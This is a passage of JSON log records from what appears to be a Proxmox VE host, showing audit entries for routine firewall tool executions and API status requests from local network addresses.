a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964060653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:00:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964135662,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.662:59745): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145760,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.760:68643): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65917 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965428103,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964535396,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.396:61439): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966145743,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.743:68641): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964855536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.536:62913): arch=c000003e syscall=59 success=no exit=-2 a0=7fff6d858650 a1=5dd6d7cd3310 a2=5dd6d7ccc680 a3=5 items=1 ppid=60362 pid=60363 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965533363,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965533.363:66005): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964059618,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:00:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1023"} {"@timestamp":1781964135655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.655:59744): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.752:68642): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65916 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965428103,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964535389,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.389:61438): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966145737,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.737:68639): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964850883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964850.883:62903): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965533352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965533.352:66003): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964056589,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:00:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781964135649,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.649:59743): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145743,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.743:68641): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65915 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965428103,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964535382,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.382:61437): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966145730,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.730:68638): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964850883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964850.883:62902): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965533352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965533.352:66002): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055568,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:00:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1023"} {"@timestamp":1781964135642,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.642:59742): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57373 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.740:68640): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5aff2b310740 items=0 ppid=1156 pid=65914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965428103,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964535377,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.377:61436): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966145720,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.720:68637): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964850875,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964850.875:62900): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528343,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965528.343:66000): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964054583,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:00:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 849"} {"@timestamp":1781964135639,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.639:59741): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a1e0a321740 items=0 ppid=1156 pid=57372 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966145737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.737:68639): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b7e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965426693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781964535370,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.370:61435): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966145714,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.714:68636): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964850875,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964850.875:62899): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528342,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965528.342:65999): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964051648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:00:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964135636,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.636:59740): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc135df0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57372 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145730,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.730:68638): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fd020 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65913 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965426693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964535364,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.364:61434): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966145707,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.707:68635): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964845867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.867:62897): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965528.335:65997): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964051648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:00:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781964135630,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.630:59739): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc100e60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57371 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145720,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.720:68637): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b130 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65912 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965424797,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964535361,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.361:61433): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966145701,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.701:68634): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964845867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.867:62896): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965528.335:65996): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964048645,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:00:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964135625,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.625:59738): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecb00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57370 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145714,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.714:68636): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1473c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65911 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965424797,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964535358,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.358:61432): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966145693,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.693:68633): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964845856,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.856:62894): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60349 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525417,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.417:65992): arch=c000003e syscall=59 success=no exit=-2 a0=7ffee965c300 a1=5b38260821c0 a2=5b3826060680 a3=5 items=1 ppid=63382 pid=63383 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964048645,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:00:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 847"} {"@timestamp":1781964135620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.620:59737): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136520 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57369 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145707,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.707:68635): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b130 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65910 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965424797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781964535357,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.357:61431): argc=1 a0=\"date\""} {"@timestamp":1781966145684,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.684:68632): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964845856,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.856:62893): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60349 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525283,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.283:65974): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd3f4f5290 a1=58f3d68781c0 a2=58f3d6856680 a3=5 items=1 ppid=63363 pid=63364 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964047619,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:00:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964135614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.614:59736): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecb00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57368 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145701,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.701:68634): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4e90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65909 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965424797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964535352,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.352:61429): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966145680,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.680:68631): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964845481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.481:62889): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd17d29ef0 a1=5f84606a8310 a2=5f84606a1680 a3=5 items=1 ppid=60342 pid=60343 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965523327,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965523.327:65964): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135609,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.609:59735): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8afc880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57367 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145693,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.693:68633): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965424797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964535346,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.346:61428): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966145677,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.677:68630): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964845402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.402:62871): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe0ef58620 a1=57f665d2e3d0 a2=57f665d0c680 a3=5 items=1 ppid=60323 pid=60324 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965523327,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965523.327:65963): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 